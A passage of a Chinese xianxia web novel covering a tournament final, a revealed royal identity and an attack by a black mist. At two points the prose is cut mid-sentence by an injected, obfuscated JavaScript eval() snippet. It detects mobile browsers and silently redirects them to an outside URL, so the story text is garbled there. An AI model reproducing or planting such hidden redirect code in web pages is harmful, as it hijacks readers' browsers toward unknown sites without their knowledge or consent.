谁能救救我!! 也许她的绝望真的被听到了,身体的感官变得麻木,黑沉的视野中出现了一点光亮。那光斑越来越大、越来越亮,变成一轮烈阳,驱散了最后一片黑。 “岁宁!” “师妹!” 恍惚中,两个熟悉的声音正在焦急地呼唤她。 她抬起沉重的眼皮,这一次不再是一片漆黑。她看到了夏南烛和季来之,两人凑在她床前,满脸担忧。 见他终于醒来,夏南烛伸手探了探她额头,又收回手,将二指搭在她手腕上,片刻,终于长出一口气:“无碍了,脉象已恢复平静。” 季来之也松了一口气,问云朵:“小师妹,你现在觉得哪里不舒服?” 云朵轻轻摇头,她现在也不觉得头疼了,只是浑身无力,昏昏沉沉的。 “我……睡了多久?” “半日吧。我一下场就看见二师兄扶着昏倒的你,怎么唤你都不醒,魂都给我吓飞了!” 半日。 她没有昏睡到半夜,刚才的只是个噩梦。 想到这,云朵也松了口气。那个噩梦太真实了,她到现在都仿佛能感觉到虫子在四肢百骸中爬行、噬咬的痛痒。 “你昏着的时候,脉象乱得毫无章法,给你输了半天灵力也不管用。好在你从半盏茶的时间前,突然开始扑腾挣扎,我俩叫你半天终于是醒了。要是再不醒,二师兄都打算直接御剑带你回浮云宗了!” 云朵听了,心里漫上来些愧疚:“抱歉……让你们担心了。” 夏南烛拿着帕子沾了沾她额头上的汗:“你现在可还有哪里不适?” “没有不适,只是觉得身上没有力气。” 夏南烛点头,起身到桌边,执笔在纸上写了什么,然后拈起纸递给季来之:“你按照这个方子,从我的行囊中取药来煎。” 季来之接过药方,视线从上到下扫了一遍,道:“得嘞,我这就去。” “等等。” “怎么了二师兄,是你这方子写错了?” 夏南烛递给他一个无语的眼神:“药方没错,你煎完药,顺便带两块糖来。” 季来之先是一愣,随后恍然大悟,转头对云朵说:“看来我们小师妹虽然人是成年了,但舌头还没有,吃药还怕苦呢!” 云朵身上没力气,否则高低得翻他个白眼。 季来之出门后,夏南烛给她掖了掖被子,轻声道:“你现在身体虚弱,再睡一会儿吧,药好了我叫你。” 云朵轻轻点头,闭上了眼睛。 她的思绪回到了五年前,她刚刚来到浮云宗的时候。 那时她身体不好,尤其刚到宗门的前两年,总是大病小病不断,全靠夏南烛给她吊着命。 奈何良药苦口,每次服药之前云朵都要哭闹好一阵,夏南烛被她闹得没法儿,便养成了每次煎完药都给她捎一块糖的习惯。 她记不起进入浮云宗之前的事,又常年卧床,见不到师兄们以外的人,整天恍恍惚惚的。 饶是夏南烛医术高明,也搞不明白问题究竟出在哪,只得劝她安心养病,也许身体好了之后,记忆就自然恢复了。 后来,她身体好了,记忆也没有恢复,但她已经不在意了。 大师兄说,他是在一个远离尘世的寨子里找到她的。他看她小小一个,孤苦伶仃,就动了恻隐之心,将她带回了浮云宗。 听上去,她以前过得并不好,记不得也不是一件坏事。 现在的生活很好,每天都很开心,她不敢奢求更多了。 晚些时候,季来之端来了一碗黑黑的汤药。 云朵喝了药,又吃了糖,听完了夏南烛的再三叮嘱,便又睡了过去。 ----------------- 再睁眼时,天光已然大亮。 经过一夜沉睡,她感觉力气恢复了不少,便支撑着身体坐了起来。 门“咔哒”一声轻响。 “咦,你居然已经醒了?怎么还坐起来了?”季来之端着药碗进屋,来到床前,“这比你没生病的时候还早啊,不用再睡会儿?” “不用了,感觉已经睡了很久了,再睡关节都要僵了。”云朵接过药碗,闭眼一饮而尽,脸上的肌肉开始不受控制。 季来之被她皱巴的脸逗乐了,手伸到她面前,摊开,手心上躺着一块白花花的糖:“来,这个给你,赶紧吃吧。” 糖块入口即化,云朵的面部表情终于变得好些了。 “小师妹,没想到你还有变脸的天赋呢,以后咱们宗门的日常花销可就靠你了!” 云朵嘴里含着糖,不想理他。正好夏南烛推门进屋,手里还捏着一张符。 “二师兄你来啦!咦,你这手里拿的是什么符?” 夏南烛抖开符纸,道:“出发前,大师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062172|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄给我的通讯符。” 季来之伸头看看了符纸上的图案,疑惑道:“这看着跟咱们之前用的不一样啊?” “大师兄改良过,这个通讯符不止传音,还能传像。” 季来之和云朵听后都瞪大了眼睛:“这么(则末)厉害!” “正好今天空闲,我们可以用它联系师兄,同他汇报一下这边的情况,免得他担忧。” 云朵点头。 季来之跃跃欲试:“那还等什么,快试试这神奇的符!” 夏南烛注入灵力,催动符纸,纸上的笔墨中漫出蓝光,在三人面前凝成了一个半透明的人影。 那人影原本在低头写着什么,似是感应到了这边的呼唤,收笔抬头,展颜笑道:“呀,好久不见呀,三位。” “师兄好。” “大师兄!” “大师兄!” 云怀清笑得更欢了:“看来你们三个同去比武大会的这些日子里,默契更上一层楼了。吾心甚慰啊!” 季来之摸摸鼻子:“还好还好,大师兄,我这次可是大展身手,一路杀穿了霁华宗、天剑阁和幻渺阁的人,马上就能把冠军奖品给你带回去啦!” “来之真厉害!霁华宗、天剑阁和幻渺阁都是弟子众多的大门派,能够被派来出战的弟子,都经过内部层层选拔。你能赢他们,说明你的修为相比之前又精进不少。对了,你有没有受伤?” “没有没有,就是有件衣服破了几个口子,不碍事。” 云怀清放下心来:“人没事就好。” “说到这个……”季来之话说到一半,眼神往夏南烛那边飘,犹豫这话该不该由他来说。 夏南烛会意,接过话茬:“昨日来之与幻渺阁弟子比试后,岁宁突然昏迷,大半日后才醒。昏迷期间脉象紊乱,真气乱流,但清醒后脉象便恢复正常。” “什么!?”云清怀愕然,“幻渺阁?可是被比试时施放的幻术波及到了?” “比试场地周围设有结界,以那幻渺阁弟子的实力,很难打破。” 云清怀思索了半晌,沉声问道:“那人靠什么施展术法?” “……”夏南烛也沉默了一下,答道:“蛊虫。” “!”云怀清的脸色变换了一瞬,又马上恢复了平静。 “我给她开了副清心理气的方子,吃了两次,目前没有再反复过,师兄不必太过忧心。” “这样啊,我相信南烛的判断。”云怀清扭头看向云朵,“朵朵,要不要先让南烛送你回来?” “啊?”云朵赶紧摇头,“不用不用,我现在感觉好得很,起床都比以前早了!” 云怀清怀疑道:“真的吗?” “真的真的,我可以作证!”季来之插话。 见云怀清半信半疑,云朵生怕他一念之间,自己这趟远门就要结束了,赶紧央求:“大师兄,这次三师兄可是替浮云宗出战。马上就要到决赛了,不论他最后是输是赢,我都不能半途而废呀!比武大会三年才举办一次,等到下次还要好久呢,我既然都来了,就让我看到最后呗!” 云怀清扶额苦笑。 “好吧,话都说到这个份儿上了,再不同意倒显得我不通人情了。” “嘿嘿,我就知道大师兄最好了!” 三人又闲聊了一会儿,云怀清半透明的身影闪烁了几下。 “哎呀,看来通讯符的效果快要失效了。”云怀清有些遗憾。 夏南烛道:“师兄,我们比武大会之后就启程回宗门。” “好啊,那我就预祝来之能如愿以偿获得冠军了。” “好说好说!” “朵朵也要注意身体,按时吃药。” “我会的,放心吧大师兄!” 云怀清点点头,切断了通讯。 13. 霁华试剑锋(7) 三日后,清晨。 云朵实实在在地睡了两天,今日难得起得早,却发现有人比她更早。 季来之正坐在院里的石桌旁,支着下巴发呆。 “叮当”一声,一枚铜钱被掷到他面前,在桌上翻腾两下,停住了。 “哎呀,正面朝上,看来今天的决赛,你赢面很大呀!” 季来之扭头,看见云朵站在屋门口,右手还保持着抛出铜钱时的动作。 “哦?没想到小师妹对算命还有研究?” “那我可不会,给你讨个好彩头罢了。” 二人闲聊间,夏南烛也出来了,看见云朵,有些惊讶:“岁宁,你身体怎么样了?” 云朵站起来转了两圈,道:“没事了,我现在好得很!” 季来之在一旁补充道:“是呀,都有力气来给我算命了。” 夏南烛又检查了一下云朵的脉象,点点头道:“确实已无大碍。现在时间还早,你们不再去歇息一会儿?” 季来之摆手:“我已经睡够了,就等着赶紧拿完冠军回家了!” 夏南烛道:“你的决赛对手是天剑阁的柳折青,在年轻一代弟子中,他的实力数一数二,也经常外出游历,积攒了一些名望。” 季来之漫不经心道:“没错,我听说过他的名号。” 云朵问道:“你在外面出任务的时候遇到过他吗?” “没有,我一向绕着天剑阁的人走。” 夏南烛又道:“总之,此次决赛你的对手不容小觑。” “哎呀,二师兄啊,你就把心放到肚子里,我心里有谱!” 夏南烛叹了口气:“但愿如此。” ----------------- 距离比试开始还有不少时间,场外已经挤满了前来观战的人。 云朵对着面前里三层外三层的人头,头皮发麻。 “这……这人也太多了吧?怎么感觉都快赶上首轮比赛前的阵仗了?” 夏南烛耐心解释道:“比武大会三年一次,能来参加的都是各派年轻弟子中的翘楚。因此很多人落败之后,也不会立刻离开,而是留下来继续观战。” “我懂了,他们这是想借机会观摩后面的比试,说不定就能感悟到什么,有所提升。” 夏南烛点头:“这次决赛对战的二人,皆是实力不俗。柳折青自不必说,来之虽然在参赛前藉藉无名,但前几场比试他都轻松赢下,现今在众人眼里也算得上是一颗耀眼夺目的新星了。” 季来之笑道:“早知道这样,我就应该提前两天开个赌局,赌我跟那天剑阁的人谁会赢,这样还能多赚一笔!” 夏南烛瞪他一眼,呵道:“不要整天想这些不入流之事!” 季来之撇撇嘴:“好嘛,我就是随便想想。” 云朵环顾四周,发愁道:“这么多人,待会开打了我们什么都看不见呀!二师兄,我们要不要往前挤挤?” 夏南烛左右看了看,伸手指向远处一棵树,道:“不如我们去那棵树上观战,那里视野开阔,也许能看到更多细节。” “这个好!那三师兄你接着在这里候场吧,我和二师兄先去那边了!” “什么?!你们这就扔下我走了?” “哎呀!我们不赶紧过去,一会儿那个风水宝地被别人占了怎么办?师兄你已经长大了,可以独立候场了!” “好好好,你们去你们去!待会我胜出的时候你最好喊大声点,不然我可听不到!” “放心放心,我用灵力给你喝彩!” 说罢,她拽着夏南烛朝那棵大树奔去。 ----------------- 离比试开始还有半盏茶的工夫,一队身着暗红色衣袍的人浩浩荡荡地过来了。 云朵拉拉夏南烛的袖子,指着那队人影:“二师兄,天剑阁来了好多人啊。” 夏南烛点头:“他们也对此次对战十分重视。” 确实是得重视,毕竟之前已经有位弟子被打败了。估计都憋着一股劲儿,打算在这场比试中扳回一局呢。 “来之上场了。” 夏南烛的话拉回了云朵的思绪,她往场上看去,只见一红一蓝两道身影遥遥对立。她们所在位置离赛场较远,她看不清天剑阁弟子的长相,只感到那人一身肃杀之气,腰间的佩剑在阳光下泛着森白的光,即使他一身红衣,也依旧寒气逼人。 只见季来之向对面抱拳行礼,说了些什么,她却听不清。 这时,她觉得有人用手拂过她的耳朵。随即,远处的声音顿时清晰得宛如在耳畔响起。 “扩音术。”夏南烛言简意赅地解释道。 “谢谢二师兄!”云朵头也不回地道谢,目光灼灼地盯着场上。 “在下天剑阁柳折青。”一道清冷的声音传来,“九年前,浮云宗大弟子云怀清战胜了我大师兄,夺得了比武大会冠军。今日,我便要将这冠军再从你手上夺回来,以弥补我师兄当时的遗憾。” “你这说法有些奇怪。”季来之的声音里带着绷不住的笑意,“你大师兄的遗憾,为什么要你来弥补?他自己再参加一次比武大会,赢个冠军回去不就好了?” “比武大会三年一次,只允许金丹期修为的弟子参加。我大师兄在那次比武大会三年后,早已突破至元婴期,无法参赛。” “你大师兄修炼速度这么快,显然是个练武奇才,这么一个比武大会,对他来说只怕就是个插曲,过了就忘了。”季来之说着,话锋一转,似是恍然大悟,“只怕遗憾的不是他,而是你吧?哎呀,你想发表一番豪言壮语,何必把你大师兄搬出来?你直接说你想给宗门赢个冠军回去,我还会笑你不成!” 对面大概是被戳中了心事,声音中带了一丝恼怒:“废话少说,今日我定赢你!” 季来之哪会任由对方放狠话,当即挑衅回去:“话可别说太满,到时候输了,你是不是要藏起来偷偷哭鼻子啊?” “你——!” “咚咚咚——” 战鼓声起。 比武大会的最后一轮,正式拉开帷幕。 鼓音未落,柳折青身影已动,如离弦之箭,直射而出,手中森白的剑笔直刺出,破空声尖锐刺耳。 季来之轻笑一声,不见他如何动作,身形已如风中柳絮般向后飘退。同时,“锃锃”两声清鸣,双剑已然出鞘。剑光清亮如一泓秋水,精准地交叠在身前,架住了这迅疾无比的一刺。 金铁交鸣之声炸响! 云朵视线紧盯着柳折青那把让她感觉不详的剑,目光闪烁。 夏南烛道:“那把剑名为‘魇骨’,剑身乃是由不知名妖兽的森白脊骨打造而成,节节相连,可伸缩长短。” 云朵咋舌:“妖兽?脊骨?天啊,他整天带着,不觉得难受吗。” 夏南烛道:“那妖兽乃是柳折青亲手斩杀,他非但不会觉得不详,反而会觉得自豪吧。” 云朵不做声,抖了抖胳膊上的鸡皮疙瘩。 在他们交谈的时候,场上二人已经又过了几十招。二人不断短兵相接,剑刃相击处,火花四溅。 见攻击被阻,柳折青手腕猛地一抖,那由脊骨打造的骨剑仿佛骤然活了过来,剑尖部分如同毒蝎摆尾,以一个不可思议的弧度绕过双剑格挡,关节处“咔”地轻响,骤然伸长数尺,直刺季来之咽喉! 这变招诡奇突兀,远超寻常剑术。 围观人群中响起一片惊呼。 季来之却似早有预料,他并未硬挡,足尖一点地面,身姿如被风吹起的鸿毛,轻飘飘地向侧后方荡开,险之又险地避开了那毒辣的一刺。骨剑的尖端几乎擦着他的下颌掠过,带起的劲风刮得他皮肤微红。 “好一把魇骨剑,果然邪门。”季来之的声音中笑意不减,身形旋转间,双剑已然展开。他的剑法正如其人性情,轻灵飘逸,洒脱不羁。双剑或分或合,时而如狂风暴雨,倾泻而下,时而如细密春雨,无孔不入。 剑光缭绕,将他周身护得密不透风,又不断寻找着对手的破绽。 一击不中,柳折青面沉如水,眼神却愈发冰冷专注。他剑势一变,不再追求直刺强攻,而是将魇骨剑变成了一条阴狠毒辣的骨鞭,抽、扫、缠、绕,每次出招,角度都刁钻至极。 剑身关节活动的“咔咔”声不绝于耳,如同毒蛇吐信,扰人心神。 森白剑影裹挟着一股阴冷偏执的杀意,织成了一张死亡之网,不断向内收缩。 季来之的身影在森白剑影中穿梭闪避,宛若惊涛骇浪中的一叶扁舟,看似惊险万分,却总能在间不容发之际避开杀招。 他的双剑不再急于进攻,而是以精妙绝伦的守势,一次次格开骨剑的锋芒。双剑与骨剑交击,爆出一连串或清脆或沉闷的响声。 久攻不下,柳折青眼中掠过一丝不易察觉的焦躁。 他灵力狂涌,魇骨剑发出一声令人牙酸的尖啸,剑身节节震颤,骤然间幻化出十数道惨白剑影, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062173|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺天盖地般向季来之罩去,彻底封死了他所有退路。 这一击,已是全力。 劲风压得季来之衣袂紧贴身体,发丝向后飞扬。他脸上的笑意终于敛去,眼神却陡然亮了起来。 就是此刻! 他并未再用双剑格挡,左剑突然脱手,向下疾射,“叮”地一声刺入身旁的石板地,剑身兀自嗡嗡颤动。 与此同时,他的右剑划出一道圆弧,剑尖轻颤,点向空中某处虚无。 他这一招出乎了所有人的意料,云朵更是急得差点跳起来:“他在干嘛啊?!这是打算直接认输吗?” 夏南烛怕她翻下树去,赶忙按住她,道:“莫慌,他要认真了。你仔细看——” 云朵半信半疑,这一细看,让她直接惊呼出声。 只见季来之右剑点出之处,空气中骤然凝结出无数细密的水珠。水珠被剑尖牵引,迅速弥漫开来,形成一片薄薄的水墙,横亘在那漫天骨剑残影之前。 魇骨剑影刺入水墙,那看似柔弱的水却蕴含着奇异的韧性,森白剑影的速度竟为之一滞,原本凌厉无匹的攻势出现了刹那的凝涩。 水墙之后,季来之右手长剑借势回收,左手并指如剑,遥遥对着插入地面的左剑一指。 插入地面的左剑仿佛被无形水流包裹牵引,“嗡”地一声从地面弹射而起,化作一道迅疾的流光,绕过骨剑和水墙,直取柳折青因全力催剑而露出的右肩空门。 这一切发生在电光火石之间。 柳折青万万没想到季来之竟以这种匪夷所思的方式破了他必杀的一击,更是操控脱手之剑从如此诡异的角度袭来。 他再想回剑格挡已然不及,只得猛吸一口气,侧身试图避开。 “噗!” 血光迸现。 季来之的左剑虽未贯穿,却已狠狠划破他的右肩衣衫,带出一串血花。 剧痛传来,柳折青闷哼一声,整条右臂顿时泄了力,真气一滞,魇骨剑险些脱手,再维持不住那漫天森白剑影。 他还未从震惊和肩痛中回过神,冰凉的剑尖已经轻轻点在了他的喉结之前。 季来之不知何时已如鬼魅般欺近他身前,右手长剑平举,稳如磐石。那柄功不可没的左剑则在空中优雅地回转一圈,“锵”地一声,精准落回剑鞘之中。 山风似乎在这一刻静止。 季来之看着面色苍白、眼神中充满着不甘的柳折青,嘴角那抹洒脱的笑意重新浮现,歪了歪头,却并未说话。 柳折青握紧魇骨剑的手指因用力而更加苍白,他死死盯着季来之。最终,他眼中的偏执与冰冷缓缓褪去。 他慢慢垂下了手臂。 “我输了。” 三个字,给出了这场比试的结局。 季来之收剑入鞘,抱了抱拳:“承让。柳兄的魇骨剑,令我大开眼界。” 说完,他不再多言,转身洒然离去,站到了场地的另一边,仿佛刚才那场凶险万分的比试,不过是一场随性而至的游戏。 “比试结束,本次比武大会的冠军是——浮云宗季来之。” 场下爆发出山呼海啸般的欢呼。 “天啊,刚才他是御水了吧?我没看错吧??” “金丹期就会御水了?这是天纵奇才了啊!” “浮云宗又拿到冠军了,他们每次参赛都得抱走个冠军奖品。” “这浮云宗也真是卧虎藏龙啊,不知道下次派谁来参加比武大会。” 观战者的议论声传到云朵耳朵里,她摸了摸鼻子,突然感觉压力有点大。 待场下的嘈杂声变小,一道金色身影飘然而至,立在场地中央。 正是霁华宗宗主,华知远。 只见他双手执一狭长玉匣,走到季来之面前递给他,道:“此乃本次比武大会的奖品,为上古神木‘栖吾’的一截枝杈,有驱邪、治愈、庇护之能。多年前我云游时,偶得此物,却未能为其寻到一展身手之处,只得藏于宗门宝库。今日,我将它赠与你,望你善用此物,勿忘习武初心,不坠青云之志。” 季来之郑重接过,道:“多谢华宗主,来之定谨记今日教诲。” 华知远捻须点头,随即转身向场下道:“今日诸君剑撼九霄,气贯长虹,令群山侧目,天光为之久驻。然胜负有时,未来江湖路远,望诸位恪守本心,除魔卫道,心灯永耀,不负侠名。” 他双手一挥,朗声道:“本次比武大会到此结束。诸位,江湖再会——” 14. 空忆扶桑暖(1) “哎呀,终于结束了——” 三人一路往住处走。季来之走在最前面,伸了个大大的懒腰,转个身面朝他们倒着走,双手叠放在脑后,脸上笑嘻嘻的,一副悠闲做派。 “咱们怎么安排,是待会儿收拾东西直接回家吗?”他冲夏南烛眨眨眼,问道。 夏南烛思索一下,道:“大师兄让我代他去取一样东西,你们两个收拾好后可以先回去。” 云朵问道:“咦?二师兄要去哪取东西?我们能不能跟着一起呀,反正也不急于这几天。” 夏南烛犹豫片刻,叹了口气:“也好,你们既然不着急回宗门,便与我同去,全当放松。” “好耶!” “我们赶紧收拾收拾出发!” 一想到又可以游山玩水了,二人心就野了,脚下步伐跟着加快。 快到住处时,云朵远远地看见门口围着一群人,奇怪道:“我们没走错吧?为什么咱们院门口来了这么多人?” 人群中有人看见他们,立马招呼同伴:“他们回来了!那个就是季来之,快,快!” 季来之冷汗一下就下来了,他回身拽住夏南烛的袖子,慌道:“怎么还有啊?刚才在场边我就已经被过来贺喜的人吵得耳朵嗡嗡响,脸都快笑僵了。我以为那就完事儿了,怎么这里还有一波?还有完没完了!!” 夏南烛无声地叹了口气,拨开拉着他袖子的手,拍开衣袖上被他攥出来的褶皱,然后迈出两步迎向一窝蜂似的人群:“诸位道友,这里是我浮云宗弟子的暂居之所,不知各位聚在此处所为何事?” 一个衣着不凡,大腹便便的中年修士上前一步,朝他行礼道:“这位便是夏南烛夏道友吧,在下是白水宗白长望,这不,听闻贵宗弟子季来之季道友夺冠,特来祝贺。”说着,他从宽大的袖子里掏出一个青玉匣子,双手奉上,脸上堆满了笑容,“这是我们白水宗的一点心意,往后若是在游历时有幸相遇,还希望能对我宗弟子照拂一二啊。” 季来之听完,嘴角抽了抽,但是大庭广众之下,也不好说什么。 云朵则是第一次碰见这种场面,眼睛睁得大大的,视线在自家师兄们和对面间来回扫量。 夏南烛并未伸手去接那玉匣,而是朝对面人群抱拳道:“不瞒诸位道友,我浮云宗常年偏安一隅,人丁不旺。本次也只有我等三人参加,不便携带如此多礼物回程。诸位道友的心意,我们心领了。浮云宗既为仙门一员,自当与众家休戚与共。日后各位道友如有疑难,只需一言相托,浮云宗必倾力相援。” 季来之和云朵也跟着夏南烛一起行礼。 对面人群见他们不收礼,却也没驳了他们的面子,因此也没怎么强求,又礼节性地夸奖寒暄了一番,各自散去。 三人好容易回到院里,关门落锁,各自长出了一口气。 季来之往夏南烛那边凑过去,用手肘捅了捅他的胳膊,感叹道:“二师兄,我之前从没听过你一口气说这么多话。没想到你平时少言寡语的,实际很能说会道嘛!” 夏南烛瞄了他一眼,回道:“你现在知道了。” “知道了,知道了!你只是不爱说话,不是不会说话!” 夏南烛没接话,而是吩咐他们:“你们先去收拾行囊,收拾好我们就出发。” 云朵有些讶异:“这么着急?” 夏南烛解释道:“来之拿下了比武大会的冠军,现在我们很引人注目,我们后续的一举一动可能都会被人盯着,其中不乏有恶意的目光。因此,我们最好速去速回,免得夜长梦多。” 云朵点头如啄米:“懂了!我现在就去收拾东西!” 三人收拾好行囊,御剑上路。 三人之中,只有云朵尚未结成金丹,御起剑来不太稳当,时不时画个龙,晃悠两下。 季来之默默飞得离她远了点,道:“师妹啊,你这个御剑技术有待提升啊,我都怕你一下子把我也撞下去。” 云朵怒道:“我飞得哪有这么差!我只是不熟练而已!” “好好好,你飞得不差,是我飞得差!”季来之逗完云朵,又往前飞到夏南烛旁边,“师兄,咱们这是要去哪儿啊?还有多久能到?” 夏南烛目视前方,道:“快了,你们跟着我就好。” 又飞了大概一个时辰,夏南烛领着他们降落在一座山的山脚。山脚有一条窄小的土路,蜿蜒着通向一片枝繁叶茂的树林。 三人走进树林后,见树林深处立着两个人影,似是已等待多时。 那两人一个年龄稍长,另一个看上去年龄跟季来之差不多。二人皆身着素色长衫,但衣服布料上都绣有暗纹,看上去不像出身自普通人家。 那少年看见夏南烛,眼睛一亮,小跑到他们面前,向夏南烛行礼:“见过殿下!” 云朵:“?” 他刚才叫二师兄什么? 殿下? 云朵感觉自己的下巴掉到了地上。 她转头看向季来之,手颤颤巍巍地指着夏南烛的背影。 季来之用手把她下巴托回去,然后丢给她一个嫌弃的眼神。 少年问完好,后脑勺就挨了一巴掌。 年长者收回手,斥道:“跟你说了多少遍,在外面要叫公子!” 少年揉着被打疼的脑袋,连忙改口:“是,是。见过夏公子!” 夏南烛看上去倒是没怎么介意,只道:“不必在意这些细节。东西带来了吗?” 年长者从怀里掏出一个卷轴,双手捧到夏南烛面前,恭敬道:“东西在这里,请公子过目。” 夏南烛展开卷轴,目光快速扫视一遍,点点头,合上卷轴。 “辛苦了,你们回去时,万事小心。” 那两人连忙又行礼。 “殿……公子,您拿着这个,真的不需要我们派人暗中保护吗?” 夏南烛摇头,拒绝得干脆利落:“你们若派人保护,恐怕反而引人注意。” 二人脸上依然是担忧的表情,但见夏南烛坚持,也只得从命。 “那……公子路上小心。” 夏南烛点点头,回了一礼,然后带着云朵二人转身离去。 ----------------- 回宗的路上,云朵还在努力消化刚才树林中的那一幕。 当今世上,能担得上一声“殿下”的,往往非亲即贵。但……这种大人物真的会舍弃荣华富贵的生活,拜入一个名不见经传的小宗门吗? 云朵偷偷看向季来之,见他面色如常,并不似自己这般震惊,好像早就知晓了这一切。 她悄悄御剑来到季来之旁边,压低声音问:“三师兄,你刚才听见了吧?那两个人管二师兄叫‘殿下’呢!我看你一点儿也不吃惊,你是知道二师兄的身份嘛?” 季来之见她靠得这般近,脸“唰”地一下白了,颤声道:“你、你你……有话好说!你可把你的剑稳住啊!你要是稍不留神给我来那么一下,我这身上非得多个窟窿不可!” 云朵怒道:“我有分寸!问你正事呢!你到底知道不知道!” 季来之瞄了一眼夏南烛的背影,也小声回道:“知道啊,我当年第一次碰见师兄的时候就知道了。” “你们是在哪里碰见的?” “嗯……海边。”季来之目光落在夏南烛背上,陷入了回忆,“他当时跟着船队出海归来,正好在海边碰到了受伤的我。” “然后呢?” “然后他就帮我把伤都治好啦。再后来我们又碰到过几次,最后一次他问我要不要加入浮云宗,我就跟着他走了。” 云朵吃惊:“什么?所以你是二师兄捡回来的,我还以为你跟我一样,也是被大师兄捡回来的呢!” 季来之给了她个无奈的眼神:“那时候 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夏南烛原本一直无视两人在身后的窃窃私语,但现下他俩闹出这么大的动静,就没法再假装听不见了。他转头无奈地对两人说:“莫要在御剑时打闹,有什么话,等回到宗门再说也不迟。” 云朵委屈道:“二师兄,我们认识这么久了,你居然都不告诉我你是皇子!” 夏南烛垂下眼帘,道:“那是曾经,现在我已拜入浮云宗,便与过去的身份再无瓜葛了。” 云朵依然不解:“可是,你贵为皇子,不好好待在皇宫里,为什么偏偏要来吃修仙的苦?” 夏南烛抿唇不语,似是在斟酌话语。 季来之道:“哎呀,你都认识二师兄这么久了,你还不知道他是什么样的人吗!以他的性子,他会想去争那把龙椅吗?” “不当皇帝,就必须得拜入仙门?历朝历代的闲散王爷也不少啊!” “能不能做得了闲散王爷,还是得看最后坐上皇位的那个人乐不乐意,又不是没有过上位后就血洗皇亲国戚的先例!与其把命运交给别人裁定,还不如先下手为强,早早为自己谋后路。” 云朵觉得季来之说的有道理,转头问夏南烛:“二师兄,真的是这样吗?” 夏南烛缓缓点头:“我自幼便无意与他们争抢皇位,因此总带着侍卫在外游历,在路上看尽了人生百态、民间疾苦。我不断问自己,龙椅之上的人再换几位,便能减少这些苦难吗?如果换我坐上去,我又能做什么呢?”他说着,抬起双手,视线凝视着掌心的纹路,轻轻道,“其实我到现在也没有找到答案。我修习丹药之术,本有着悬壶济世之心。但凭我一人之力,终究是杯水车薪,又如何能救得了每一个人。” 云朵听完,心下感叹:“二师兄,你身居高位,却能将目光放在苍生身上,真的好了不起!我觉得你逃出来是对的,如果你真的只做了一个闲散王爷,反而会被那些高高的院墙遮蔽双眼,那这天下岂不是要损失一个心怀苍生的仙长了!” 夏南烛苦笑:“我哪有你说的这么伟大。” 季来之帮腔道:“怎么没有?二师兄,师妹不清楚,我还不清楚吗!我每次下山前,你都要偷偷塞给我一大袋子丹药,让我发放给沿路的百姓。每次他们对着我又叩又拜的,我真是消受不起!下次你说什么也得跟我一起去,亲自接受一下他们的答谢。” 夏南烛摇头:“这就不了,这一趟来回的时间,够我多炼出几炉丹药。” 云朵内心五味杂陈,嘟囔道:“二师兄,你可真是——” “小心——!” 夏南烛和季来之同时喊道。 “叮——” 只听身后一声金铁相交之音,云朵迅速转头回撤。 一把通体雪白的长剑横在离她刚才所在之处不到三尺的地方,剑身白光流转,死死地挡住了一团蠕动的黑气。 15. 空忆扶桑暖(2) 云朵看到那把雪白的剑,心下一惊。 化难。 夏南烛的佩剑。 在她的记忆里,除了夏南烛御剑飞行时,很少见这把剑出鞘。 可如今这把剑正替她挡下这不明的黑气,那她二师兄呢? 云朵回头看去,见夏南烛依旧稳稳地立于剑上。只不过,现在他脚下踩的是季来之的另一柄剑。 不愧是师兄们,反应是真快呀。 云朵内心暗暗赞叹。 “这是个什么东西!”季来之指着那团突然出现的黑气喊道。 夏南烛皱眉:“不清楚,我也从未见过。” 那团黑气被化难挡着,并不退缩,反倒像在暗中与之角力。 随着黑气翻涌的速度越来越快,化难的剑身开始微微震颤。 云朵有些慌:“化难是不是要挡不住了?这玩意这么凶的吗?” 夏南烛面色沉沉,喝道:“散开!” 说罢,他和季来之分别向着左右两侧飞远。云朵咬咬牙,朝另一个方向闪去。 化难卸去力道,飞回剑鞘中。 没了化难得抵挡,那黑影却并没有立即展开攻势,而是愣愣地停在原地,像是在思考该攻击谁。 云朵三人分别停在这团黑气周围的三个方位,静静观察着它的动作。 云朵没想到她第一次出远门,就碰到这种事情,在袖中暗暗攥紧了汗湿的手,眼神飘向夏南烛。 感应到她的视线,夏南烛回了一个让她安心的眼神。 二师兄有办法对付这玩意,我只要不拖他的后腿就好。 云朵集中精神,调动灵力,将它们分布在四肢百骸中,随时准备应对那团不明黑气的发难。 令她没想到的是,先发难的是她的师兄们。只见夏南烛和季来之遥遥对视一眼,同时高高跃起。他们脚下的剑便如两道惊雷,从不同的方向向那团黑气刺去。 黑气感受到了他们的杀意,发出一阵刺耳的啸叫,抖动着意欲逃离。 “还想跑!”季来之大喝一声,双剑立马停下攻势,转而围绕着那团黑气上下翻飞,用剑光封锁住它的退路。 夏南烛瞅准机会,挥手甩出一串符纸。那些符纸携着灵力飞过去,宛如天兵般将黑气围在里面。随后金光大盛,刺得云朵睁不开眼睛,不得不伸出手臂去挡。 金光退去后,原本黑气所在之处,只剩下一个被符纸紧紧裹着的小球。 夏南烛勾勾手指,小球便径直飞到他面前。季来之的双剑完成了任务,也被他召了回去。 只有云朵仍然有些惊魂未定。 “二师兄,这就结束了?这符纸能封住它吗?”云朵边问,边控制着盈盈剑犹犹豫豫地靠过去。 